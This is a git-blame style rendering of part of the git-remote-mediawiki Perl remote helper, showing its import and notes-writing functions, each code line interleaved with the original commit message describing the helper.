seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
# mediawiki revision number in the git note
|
|
|
|
if ($full_import && $n == 1) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "reset refs/notes/${remotename}/mediawiki\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "commit refs/notes/${remotename}/mediawiki\n";
|
|
|
|
print {*STDOUT} "committer ${author} <${author}\@${wiki_name}> " . $date->epoch . " +0000\n";
|
2013-06-14 15:50:30 +02:00
|
|
|
literal_data('Note added by git-mediawiki during import');
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
if (!$full_import && $n == 1) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "from refs/notes/${remotename}/mediawiki^0\n";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "N inline :${n}\n";
|
2013-06-14 15:50:30 +02:00
|
|
|
literal_data("mediawiki_revision: $commit{mw_revision}");
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "\n\n";
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
# parse a sequence of
|
|
|
|
# <cmd> <arg1>
|
|
|
|
# <cmd> <arg2>
|
|
|
|
# \n
|
|
|
|
# (like batch sequence of import and sequence of push statements)
|
|
|
|
sub get_more_refs {
|
|
|
|
my $cmd = shift;
|
|
|
|
my @refs;
|
|
|
|
while (1) {
|
|
|
|
my $line = <STDIN>;
|
2013-06-14 15:50:16 +02:00
|
|
|
if ($line =~ /^$cmd (.*)$/) {
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
push(@refs, $1);
|
|
|
|
} elsif ($line eq "\n") {
|
|
|
|
return @refs;
|
|
|
|
} else {
|
2013-06-14 15:50:21 +02:00
|
|
|
die("Invalid command in a '$cmd' batch: $_\n");
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
}
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub mw_import {
|
|
|
|
# multiple import commands can follow each other.
|
2013-06-14 15:50:30 +02:00
|
|
|
my @refs = (shift, get_more_refs('import'));
|
2020-09-21 12:39:55 +02:00
|
|
|
my $processedRefs;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
foreach my $ref (@refs) {
|
2020-09-21 12:39:55 +02:00
|
|
|
next if $processedRefs->{$ref}; # skip duplicates: "import refs/heads/master" being issued twice; TODO: why?
|
|
|
|
$processedRefs->{$ref} = 1;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
mw_import_ref($ref);
|
|
|
|
}
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDOUT} "done\n";
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub mw_import_ref {
|
|
|
|
my $ref = shift;
|
|
|
|
# The remote helper will call "import HEAD" and
|
|
|
|
# "import refs/heads/master".
|
|
|
|
# Since HEAD is a symbolic ref to master (by convention,
|
|
|
|
# followed by the output of the command "list" that we gave),
|
|
|
|
# we don't need to do anything in this case.
|
2013-06-14 15:50:30 +02:00
|
|
|
if ($ref eq 'HEAD') {
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
2013-07-04 22:38:58 +02:00
|
|
|
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Searching revisions...\n";
